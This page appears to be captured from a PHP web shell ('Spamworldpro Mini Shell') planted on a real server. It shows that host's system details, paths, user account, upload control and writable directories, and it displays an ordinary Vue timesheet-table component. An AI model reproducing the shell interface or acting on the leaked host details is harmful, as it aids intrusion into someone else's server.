Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/ts.corals.io/frontend/components/Entries/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/ts.corals.io/frontend/components/Entries/TSEntriesTable.vue
<template>
  <div class="table-responsive">
    <div class="row pl-1">
      <div class="col-md-8">
        <div class="form-group form-row">
          <div class="col-md-6">
            <b-form-input v-model.trim="search" class="form-control" placeholder="Type to filter..." debounce="500"/>
          </div>
          <div class="col-md-2">
            <b-button :disabled="!search" @click="search = ''">Clear</b-button>
          </div>
        </div>
      </div>
    </div>
    <br/>
    <template v-if="getGroupedProjects.length">
      <div v-for="(projectGroup,pIndex) in getGroupedProjects">
        <h4>{{ projectGroup[0][0].project }}</h4>
        <table class="VueTables__table table">
          <thead>
          <tr>
            <th class="cw-120">Date</th>
            <th class="cw-200">Resource</th>
            <th>Description</th>
            <th class="cw-150 pl-0">Time: {{ totalEvaluationTime(projectGroup) }}</th>
          </tr>
          </thead>
          <tbody>
          <template v-for="(entryGroup,gIndex) in projectGroup">
            <template v-for="(entry,eIndex) in entryGroup">
              <tr :class="gIndex%2?'odd-row':'even-row'">
                <td :rowspan="entryGroup.length" v-if="eIndex === 0">
                  {{ entry.spent_at }}
                  <br/>
                  <small>{{ entry.spent_at_day.name }}</small>
                </td>
                <td :rowspan="userCount(entryGroup,entry.user)"
                    v-if="eIndex===0? true:entryGroup[eIndex-1].user === entryGroup[eIndex].user? false:true">
                  <div>{{ entry.user }}</div>
                  <div class="font-weight-bold mt-1">
                    {{ totalUserTime(entryGroup, entry.user) }}
                  </div>
                </td>
                <td>
                  <div v-html="$getTextWithLinks(entry.description)"></div>
                  <div>
                    <template v-for="label in entry.labels">
                      <span class="badge badge-warning mr-1">{{ label.name }}</span>
                    </template>
                  </div>
                </td>
                <th>
                  {{ entry.evaluation_time }}
                  <fa icon="check-circle" v-if="entry.has_reviewed" v-b-tooltip="'Has Reviewed'"
                      class="text-success"/>
                </th>

              </tr>
            </template>
          </template>
          </tbody>
        </table>
      </div>
    </template>
    <h4 v-if="!getGroupedProjects.length" class="text-center text-muted">No data available</h4>
  </div>
</template>

<script>
export default {
  name: "TSEntriesTable",
  props: [
    'resourceUrl'
  ],
  async fetch() {
    this.groupedProjects = await this.$axios.get(this.resourceUrl)
      .then(({data}) => data);
  },
  data() {
    return {
      groupedProjects: [],
      search: '',
    }
  },
  methods: {
    userCount(entryGroup, user) {
      var count = 0;
      entryGroup.forEach((arr) => (arr.user === user && count++));
      return count;
    },
    totalUserTime(entryGroup, user) {
      var sum = 0;
      var hours = 0;
      var minutes = 0;
      entryGroup.forEach((arr) => {
        if (arr.user === user) {
          hours += (arr.evaluation_hours || 0);
          minutes += (arr.evaluation_minutes || 0);
        }
      });
      if (minutes >= 60) {
        hours += Math.floor(minutes / 60);
        minutes = minutes % 60
      }
      if (minutes < 10) {
        minutes = "0" + minutes;
      }
      if (hours < 10) {
        hours = "0" + hours;
      }
      sum = hours + ':' + minutes
      return sum;
    },

    totalEvaluationTime(entries) {
      var hoursAndMinutesTime = [];
      var evaluationHours = 0;
      var evaluationMinutes = 0;

      for (var i = 0; i < entries.length; i++) {
        for (var j = 0; j < entries[i].length; j++) {
          evaluationHours = evaluationHours + (entries[i][j].evaluation_hours || 0);
          evaluationMinutes = evaluationMinutes + (entries[i][j].evaluation_minutes || 0);
        }
      }

      if (evaluationMinutes >= 60) {
        evaluationHours += Math.floor(evaluationMinutes / 60);
        evaluationMinutes = evaluationMinutes % 60
      }
      if (evaluationMinutes < 10) {
        evaluationMinutes = "0" + evaluationMinutes;
      }
      if (evaluationHours < 10) {
        evaluationHours = "0" + evaluationHours;
      }
      hoursAndMinutesTime = evaluationHours + ':' + evaluationMinutes;

      return hoursAndMinutesTime
    }
  },
  computed: {
    getGroupedProjects() {
      if (!this.search.length) {
        return this.groupedProjects;
      }

      let projects = [];

      this.groupedProjects.forEach((project) => {
        let entries = [];
        project.forEach((entry) => {
          let entryFilter = [];
          entryFilter = entry.filter(arr => {
            return (arr.user.toLowerCase().includes(this.search.toLowerCase())) ||
              (arr.description.toLowerCase().includes(this.search.toLowerCase())) ||
              (arr.spent_at.includes(this.search))
          });
          if (entryFilter.length > 0) {
            entries.push(entryFilter);
          }
        });
        if (entries.length > 0) {
          projects.push(entries);
        }
      });

      return projects;
    }
  }
}
</script>

<style scoped>

</style>

Spamworldpro Mini